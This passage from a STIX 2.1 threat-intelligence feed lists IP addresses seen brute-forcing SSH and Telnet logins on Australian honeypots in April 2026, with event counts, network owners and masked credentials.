      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.241.100.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T12:15:10.000Z",
      "valid_until": "2026-05-05T12:15:08.000Z"
    },
    {
      "created": "2026-04-03T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--e7bb9bbf-631a-4e42-aae2-c831f47bcb51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '159.223.73.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T12:15:10.000Z",
      "valid_until": "2026-05-05T12:15:08.000Z"
    },
    {
      "created": "2026-04-03T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: GE. ASN(s): 208744. Organisation(s): UGT LLC.",
      "id": "indicator--716afbda-671a-43f7-95ce-68e3b065c54a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.247.95.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T12:15:10.000Z",
      "valid_until": "2026-05-05T12:15:08.000Z"
    },
    {
      "created": "2026-04-03T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--6f5b4ddf-0c42-40a8-a3e0-5d7c4b7399ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '211.221.196.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T12:15:10.000Z",
      "valid_until": "2026-05-05T12:15:08.000Z"
    },
    {
      "created": "2026-04-03T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U*******************************************************************************************************************************5. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--30b43fe2-ee1b-4799-b868-cf7be8d237a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T12:15:10.000Z",
      "valid_until": "2026-05-05T12:15:08.000Z"
    },
    {
      "created": "2026-04-03T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--f9938537-0dd2-47b9-a072-068ee2cd8a0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.145.100.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T13:15:11.000Z",
      "valid_until": "2026-05-05T13:15:08.000Z"
    },
    {
      "created": "2026-04-03T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--6146a71b-7369-4aa9-8746-529bf5905fb0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T13:15:11.000Z",
      "valid_until": "2026-05-05T13:15:08.000Z"
    },
    {
      "created": "2026-04-03T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--b75b876f-bdfa-4fa0-8019-ed9e32e32864",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T13:15:11.000Z",
      "valid_until": "2026-05-05T13:15:08.000Z"
    },
    {
      "created": "2026-04-03T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 6810. Organisation(s): Bezeq- THE ISRAEL TELECOMMUNICATION CORP. LTD.. Usernames observed (masked): a***n, r**t, c***o, d*****t, l***n. Passwords observed (masked): *, 0***0, 1**4, 1***5, 4**1.",
      "id": "indicator--d8df5015-5aa4-464e-a2fb-abd31223afd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.130.237.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T13:15:11.000Z",
      "valid_until": "2026-05-05T13:15:08.000Z"
    },
    {
      "created": "2026-04-03T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--c9db88c9-137c-42cd-b979-1c0c9e1f12ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.139.136.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T14:15:10.000Z",
      "valid_until": "2026-05-05T14:15:08.000Z"
    },
    {
      "created": "2026-04-03T14:15:10.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22, 23. Source country: AM. ASN(s): 197834. Organisation(s): Ucom CJSC.",
      "id": "indicator--2c9dde4a-5ba1-4b84-bae7-3a5d0d44e170",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.32.193.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T14:15:10.000Z",
      "valid_until": "2026-05-05T14:15:08.000Z"
    },
    {
      "created": "2026-04-03T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--c7c93920-fbdc-4fc1-a4db-ab05a55fe5a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '42.230.54.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T14:15:10.000Z",
      "valid_until": "2026-05-05T14:15:08.000Z"
    },
    {
      "created": "2026-04-03T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--1f8d1ce5-c42a-4c8e-8598-185e9100d177",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '61.52.115.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T14:15:10.000Z",
      "valid_until": "2026-05-05T14:15:08.000Z"
    },
    {
      "created": "2026-04-03T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 29518. Organisation(s): Bredband2 AB.",
      "id": "indicator--2a9f96e5-af97-4f65-b681-5fed9c8d5c34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '83.233.193.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T14:15:10.000Z",
      "valid_until": "2026-05-05T14:15:08.000Z"
    },
    {
      "created": "2026-04-03T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 170. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 210644. Organisation(s): Aeza Group LLC. Usernames observed (masked): r**t, o****e, t**t, ***, e******h. Passwords observed (masked): 1****6, !******r, *, 1******R, 4******r.",
      "id": "indicator--aa478d05-afe7-4b67-b776-47c560c1e609",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.192.37.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T14:15:10.000Z",
      "valid_until": "2026-05-05T14:15:08.000Z"
    },
    {
      "created": "2026-04-03T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): s****o, u***3. Passwords observed (masked): 1****1, s****o.",
      "id": "indicator--1aaa7aa0-d063-4613-8995-dc78b988f862",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '1.214.197.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T15:15:13.000Z",
      "valid_until": "2026-05-05T15:15:08.000Z"
    },
    {
      "created": "2026-04-03T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, u***1. Passwords observed (masked): 2******5, Z********3, q******4.",
      "id": "indicator--6f04854e-3bec-4b46-b090-01d31e2a2164",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.190.24.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T15:15:13.000Z",
      "valid_until": "2026-05-05T15:15:08.000Z"
    },
    {
      "created": "2026-04-03T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 17451. Organisation(s): BIZNET NETWORKS. Usernames observed (masked): f*****r, r**t, 3**********4, a***********r, d****y. Passwords observed (masked): 1****1, 1**4, 3***********4, 3**********4, O******7.",
      "id": "indicator--d25cc8d7-1de0-43ef-bf39-dee107d51487",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.253.79.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T15:15:13.000Z",
      "valid_until": "2026-05-05T15:15:08.000Z"
    },
    {
      "created": "2026-04-03T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 42624. Organisation(s): Global-Data System IT Corporation. Usernames observed (masked): r**t, u****u. Passwords observed (masked): C******e, Q*******6.",
      "id": "indicator--61e8aa07-404d-44dc-bbb6-44c224ca7cf9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.196.8.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T15:15:13.000Z",
      "valid_until": "2026-05-05T15:15:08.000Z"
    },
    {
      "created": "2026-04-03T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 50219. Organisation(s): Valence Technology Co.. Usernames observed (masked): A*******************p, G************1, U*************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--825f334a-48d5-4ce9-9f15-51fbd5e7e321",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.164.107.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T15:15:13.000Z",
      "valid_until": "2026-05-05T15:15:08.000Z"
    },
    {
      "created": "2026-04-03T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 4657. Organisation(s): StarHub Ltd. Usernames observed (masked): r**t, s***m, t**t, 3**********4, g*****a. Passwords observed (masked): 1******8, 3***********4, 3**********4, Q**#, a*****3.",
      "id": "indicator--1de736e1-21fd-4b06-bd24-4b854d93b0fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '203.116.129.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T15:15:13.000Z",
      "valid_until": "2026-05-05T15:15:08.000Z"
    },
    {
      "created": "2026-04-03T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): d******r, u***3. Passwords observed (masked): 1****1, q****y.",
      "id": "indicator--10999bed-d1c8-400a-a84e-f3110efbcc59",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '222.110.147.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T15:15:13.000Z",
      "valid_until": "2026-05-05T15:15:08.000Z"
    },
    {
      "created": "2026-04-03T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): c*****t@kelltech.dev. Passwords observed (masked): a*********#.",
      "id": "indicator--f2e1697b-7088-4d6a-9ea6-2355e5797685",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.8.133.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T15:15:13.000Z",
      "valid_until": "2026-05-05T15:15:08.000Z"
    },
    {
      "created": "2026-04-03T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--5d81697e-7b7b-4ead-a1f9-1c16dcb00d55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '78.17.40.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T15:15:13.000Z",
      "valid_until": "2026-05-05T15:15:08.000Z"
    },
    {
      "created": "2026-04-03T16:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4, a*****e. Passwords observed (masked): 1*****************1, 3***********4, 3**********4, A********., P********1.",
      "id": "indicator--835feda1-5c82-424b-ab4d-8b184d5765a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T16:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.52.114.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T16:15:12.000Z",
      "valid_until": "2026-05-05T16:15:09.000Z"
    },
    {
      "created": "2026-04-03T16:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): a*****e. Passwords observed (masked): a*****e.",
      "id": "indicator--6890cb18-723d-4594-8223-3e5027b0dd10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T16:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '123.156.230.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T16:15:12.000Z",
      "valid_until": "2026-05-05T16:15:09.000Z"
    },
    {
      "created": "2026-04-03T16:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 9891. Organisation(s): CS LOXINFO Public Company Limited.. Usernames observed (masked): r**t, s***m, 3**********4, p******s, t**t. Passwords observed (masked): !********x, 3***********4, 3**********4, C**********8, P********9.",
      "id": "indicator--aa9f8168-d9fd-436a-bd45-4d6caa93411d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T16:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.50.227.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T16:15:12.000Z",
      "valid_until": "2026-05-05T16:15:09.000Z"
    },
    {
      "created": "2026-04-03T16:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 148. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UG. ASN(s): 21491. Organisation(s): UGANDA-TELECOM Uganda Telecom. Usernames observed (masked): r**t, 3**********4, f****e, ***, s***m. Passwords observed (masked): 1********e, 1******t, 1*******d, 3***********4, 3**********4.",
      "id": "indicator--0afcdf02-fba2-4445-83d6-a02dc26fad64",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T16:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '196.0.120.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T16:15:12.000Z",
      "valid_until": "2026-05-05T16:15:09.000Z"
    },
    {
      "created": "2026-04-03T16:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--885e36f5-19dc-4915-89e1-b17cb35f817c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T16:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T16:15:12.000Z",
      "valid_until": "2026-05-05T16:15:09.000Z"
    },
    {
      "created": "2026-04-03T16:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--d05bfb9d-bfc4-4065-a742-515a48775f68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T16:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T16:15:12.000Z",
      "valid_until": "2026-05-05T16:15:09.000Z"
    },
    {
      "created": "2026-04-03T16:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e44ba671-8e20-4856-983f-6fb416831236",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T16:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T16:15:12.000Z",
      "valid_until": "2026-05-05T16:15:09.000Z"
    },
    {
      "created": "2026-04-03T16:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): 1****6.",
      "id": "indicator--ca64977e-d674-406b-b917-2b1916bd00b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T16:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '4.145.113.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T16:15:12.000Z",
      "valid_until": "2026-05-05T16:15:09.000Z"
    },
    {
      "created": "2026-04-03T17:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--938fd046-f0f7-45a7-a669-d0a14cd044d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.45.54.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T17:15:12.000Z",
      "valid_until": "2026-05-05T17:15:08.000Z"
    },
    {
      "created": "2026-04-03T17:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): s**v, ***, s****a. Passwords observed (masked): 1**4, 1****6, ***, s****a, s**v.",
      "id": "indicator--c1d97e5d-c50e-4aa1-88ad-0506ffefd100",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T17:15:12.000Z",
      "valid_until": "2026-05-05T17:15:08.000Z"
    },
    {
      "created": "2026-04-03T17:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--1aa2e89a-033d-4efe-80ce-0bc68f8772f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-03T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
